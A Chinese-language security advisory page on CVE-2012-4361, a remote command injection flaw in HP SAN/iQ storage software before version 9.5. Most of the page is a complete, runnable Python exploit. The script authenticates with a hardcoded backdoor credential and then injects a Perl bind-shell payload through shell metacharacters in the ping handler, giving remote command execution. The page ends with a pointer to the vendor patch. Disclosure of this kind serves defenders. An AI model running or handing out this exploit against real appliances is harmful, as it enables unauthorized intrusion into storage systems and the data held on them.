首页 -> 安全研究

安全研究

安全漏洞
HP SAN/iQ远程命令注入漏洞

发布日期:2012-08-17
更新日期:2012-08-22

受影响系统:
HP SAN/iQ < 9.5
描述:
BUGTRAQ  ID: 55132
CVE ID: CVE-2012-4361

SAN是一种更加强大、可靠和可扩展的数据架构。

HP Virtual SAN Appliance上HP SAN/iQ 9.5之前版本中的lhn/public/network/ping在实现上存在安全漏洞,可允许远程已验证用户通过第二个参数中的Shell元字符执行任意命令。

<*来源:Nicolas Gregoire (ngregoire@exaprobe.com
  
  链接:http://www.kb.cert.org/vuls/id/441363
        http://www.exploit-db.com/exploits/18901/
        http://www.exploit-db.com/exploits/18893/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Nicolas Gregoire (ngregoire@exaprobe.com)提供了如下测试方法:



#!/usr/bin/python

''' ==================================
          Pseudo documentation
================================== '''

# HP VSA / SANiQ Hydra client
# Nicolas Gréire <nicolas.gregoire@agarri.fr>
# v0.5

''' ==================================
          Target information
================================== '''

HOST = '192.168.201.11' # The remote host
PORT = 13838        # The hydra port

''' ==================================
             Imports
================================== '''

import getopt
import re
import sys
import binascii
import struct
import socket
import os

''' ==================================
        Define functions
================================== '''

# Some nice formatting
def zprint(str):
    print '[=] ' + str

# Define packets
def send_Exec():
    zprint('Send Exec')
    
    # RESTRICTIONS
    # You can't use "/" in the payload
    # No Netcat/Ruby/PHP, but telnet/bash/perl are available

    # METASPLOIT PAYLOAD
    cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET(LocalPort,12345,Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"

    # COMMAND INJECTION BUG
    data = 'get:/lhn/public/network/ping/127.0.0.1/foobar;' + cmd + '/'

    # EXPLOIT
    zprint('Now connect to port 12345 of machine ' + str(HOST))
    send_packet(data)

def send_Login():
    zprint('Send Login')
    data = 'login:/global$agent/L0CAlu53R/Version "8.5.0"' # Backdoor
    send_packet(data)

# Define the sending function
def send_packet(message):

    # Add header
    ukn1 = '\x00\x00\x00\x00\x00\x00\x00\x01'
    ukn2 = '\x00\x00\x00\x00' + '\x00\x00\x00\x00\x00\x00\x00\x00' + '\x00\x00\x00\x14\xff\xff\xff\xff'
    message = message + '\x00'
    data = ukn1 + struct.pack('!I', len(message)) + ukn2 + message

    # Send & receive
    s.send(data)
    data = s.recv(1024)
    zprint('Received : [' + data + ']')

''' ==================================
           Main code
================================== '''

# Print bannner
zprint('HP Hydra client')
zprint('Attacking host ' + HOST + ' on port ' + str(PORT))

# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(30)
s.connect((HOST, PORT))

# Attack !
send_Login()
send_Exec()

# Deconnect
s.close

# Exit
zprint('Exit')

建议:
厂商补丁:

HP
--
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://itrc.hp.com

浏览次数:2352
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障